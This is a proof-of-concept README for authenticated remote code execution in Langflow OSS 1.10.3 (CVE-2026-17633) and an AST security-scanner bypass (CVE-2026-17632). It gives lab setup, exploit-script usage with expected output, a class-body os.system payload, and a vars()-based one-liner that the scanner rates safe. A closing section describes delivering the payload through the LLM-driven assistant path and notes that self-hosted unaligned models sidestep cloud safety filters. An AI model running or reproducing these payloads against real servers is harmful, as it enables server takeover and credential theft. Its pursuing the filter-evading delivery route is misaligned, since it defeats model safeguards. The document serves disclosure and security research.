
PoC for CVE-2026-17633 — Authenticated RCE in IBM Langflow OSS 1.0.0–1.10.3 via custom_component endpoint. Includes CVE-2026-17632 AST scanner bypass research.
For educational purposes only. Only use against systems you own or have explicit written authorization to test.
Langflow is an open-source low-code platform for building LLM-powered applications and AI agent workflows. It provides a visual drag-and-drop interface where users can connect components — models, retrievers, tools, memory, custom Python code — into executable flows. Its Custom Component feature allows users to define component behavior directly in Python, which is the attack surface exploited in this research.
On August 5, 2026, IBM published a Security Bulletin disclosing a batch of vulnerabilities affecting Langflow OSS versions 1.0.0 through 1.10.3. The full bulletin is available at:
This research focuses on two CVEs from that batch:
| CVE | CVSS | Summary |
|---|
| CVE-2026-17633 | 8.5 HIGH | Authenticated RCE via /api/v1/custom_component — code passed directly to exec() with no security scanning |
| CVE-2026-17632 | 8.8 HIGH | AST security scanner bypass — crafted Python code passes scan_code_security() with is_safe: True while executing arbitrary OS commands |
Both CVEs were independently discovered through static source code analysis of Langflow 1.10.3.
This research was conducted in an isolated lab environment against a self-hosted Langflow instance. All findings are disclosed responsibly. Do not use this against systems without explicit written authorization.
The POST /api/v1/custom_component endpoint in Langflow OSS 1.0.0–1.10.3 accepts arbitrary Python code from an authenticated user and executes it server-side via Python's exec() function. Unlike the Agentic Assistant path, this endpoint does not call scan_code_security() or any other AST-based content validator before execution. Any authenticated user can achieve Remote Code Execution with a single HTTP request.
CWE-94 — Improper Control of Generation of Code
/api/v1/custom_component EndpointSource: langflow/api/v1/endpoints.py — line 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
When LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (common in production deployments), the code goes directly to build_custom_component_template() with zero content inspection.
prepare_global_scope() and ast.ExprThe execution chain leads to create_class() in lfx/custom/validate.py, which calls prepare_global_scope() before compiling and executing the class:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
A bare function call at module level (e.g. os.system(...)) is an ast.Expr node — it is not matched by the isinstance check and is silently discarded. However, code placed inside the class body is part of the ClassDef node and is executed in full when the class is defined via exec() inside compile_class_code().
This is the key insight: the payload must be inside the class body, not at module level.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
No LLM required. No scanner bypass needed. Single HTTP request.
| Requirement | Value |
|---|---|
| Host OS | Kali Linux (tested) |
| Docker | CE 5.x + Compose plugin v2 |
| Langflow image | langflowai/langflow:1.10.3 |
| RAM | 4 GB minimum for the container |
Create a directory for the lab and save the following as docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Start the lab:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Log in to http://127.0.0.1:7860 with the superuser credentials defined above. The access token is stored in the browser cookie access_token_lf. Alternatively, retrieve it via the API:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Copy the access_token value from the response.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]
-t, --target TARGET Langflow base URL (e.g. http://127.0.0.1:7860)
-k, --token TOKEN Bearer token of the authenticated user
-c, --command COMMAND OS command to execute (default: id > /tmp/pwned.txt)
--verbose Print full payload and server response
--timeout TIMEOUT Request timeout in seconds (default: 30)
python3 exploit_CVE-2026-17633.py \
-t http://127.0.0.1:7860 \
-k <bearer_token> \
-c 'id > /tmp/pwned.txt'
Expected output:
============================================================
PoC CVE-2026-17633 — Langflow Custom Component RCE
CVSS 8.5 HIGH — Authenticated RCE
IBM Langflow OSS 1.0.0 – 1.10.3
============================================================
[*] Health: {"status":"ok"}
[*] Target: http://127.0.0.1:7860/api/v1/custom_component
[*] Command: id > /tmp/pwned.txt
[*] Vector: class body exec() — no scanner
[*] HTTP Status: 200
============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt
[*] Verify the effect on the server:
docker exec <container_id> cat /tmp/pwned.txt
docker exec <container_id> cat /tmp/pwned.txt
Expected output:
uid=1000(user) gid=0(root) groups=0(root)
Note: Langflow 1.10.3 runs as
uid=1000(user)inside the container, not as root. However, inside the container the user belongs togid=0(root), and from there lateral movement to the host or connected services (LLM provider API keys, database credentials, vector store tokens) is the realistic post-exploitation scenario.
While analyzing the source code of Langflow 1.10.3 to understand CVE-2026-17633, the Agentic Assistant code path was also examined. This led to the discovery of scan_code_security() in langflow/agentic/helpers/code_security.py — an AST-based security scanner applied to LLM-generated component code before it reaches validate_component_runtime().
The scanner is sophisticated: it tracks import aliases, detects wildcard imports, handles getattr() reflection, and blocks a comprehensive list of dangerous calls (os.system, subprocess, exec, eval, __import__, etc.).
Careful analysis of DANGEROUS_CALLS revealed a missing entry:
DANGEROUS_CALLS: dict[str, str] = {
"exec": "Use of exec() is forbidden in components",
"eval": "Use of eval() is forbidden in components",
"compile": "Use of compile() is forbidden in components",
"__import__": "Use of __import__() is forbidden in components",
"globals": "Use of globals() is forbidden in components",
"open": "Use of open() is forbidden in components",
"breakpoint": "Use of breakpoint() is forbidden in components",
# "vars" → NOT PRESENT ← gap identified here
}
vars() is absent. In the exec() context of create_class(), vars() returns exec_globals, which contains importlib inherited from validate.py's module globals. Additionally, ["__builtins__"] is a subscript access (ast.Subscript), not an attribute access (ast.Attribute), so visit_Attribute() and DANGEROUS_DUNDER_ATTRS never inspect it.
is_safe: TrueThe following payload passes scan_code_security() with zero violations:
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")
Verified directly against the scanner inside the container:
from langflow.agentic.helpers.code_security import scan_code_security
test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)
Output:
is_safe: True
violations: ()
RCE execution was also confirmed by running the bypass directly in the same exec() context that create_class() uses:
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)
Output in /tmp/pwned.txt:
uid=1000(user) gid=0(root) groups=0(root)
CVE-2026-17632 is exploited through the Agentic Assistant path:
POST /api/v1/agentic/assist/stream
→ LLM generates Python component code
→ extract_component_code() extracts the ```python``` block
→ validate_component_code() — AST structural check → PASS
→ scan_code_security() — bypass via vars() → PASS (is_safe: True)
→ validate_component_runtime() — exec() without sandbox → RCE
The delivery mechanism requires the LLM to reproduce the bypass payload verbatim in its response. In practice, cloud-hosted LLMs with content safety filters (OpenAI, Anthropic, most OpenRouter free models) refuse to output payloads containing __import__, os.system, or similar patterns, even when framed as security research or documentation.
This is a realistic constraint in real-world exploitation too: an attacker targeting a Langflow instance with a cloud LLM provider configured would face the same content filter. The vulnerability is fully exploitable against deployments using self-hosted models (Ollama, vLLM, LM Studio) or private fine-tuned models without safety alignment — which represent a significant portion of enterprise Langflow deployments.
The AST scanner bypass (is_safe: True) and the exec() RCE are independently confirmed. The end-to-end delivery chain via LLM is the open research item for CVE-2026-17632.
Research conducted on Langflow OSS 1.10.3 in an isolated lab environment. IBM Security Bulletin: https://www.ibm.com/support/pages/node/7282646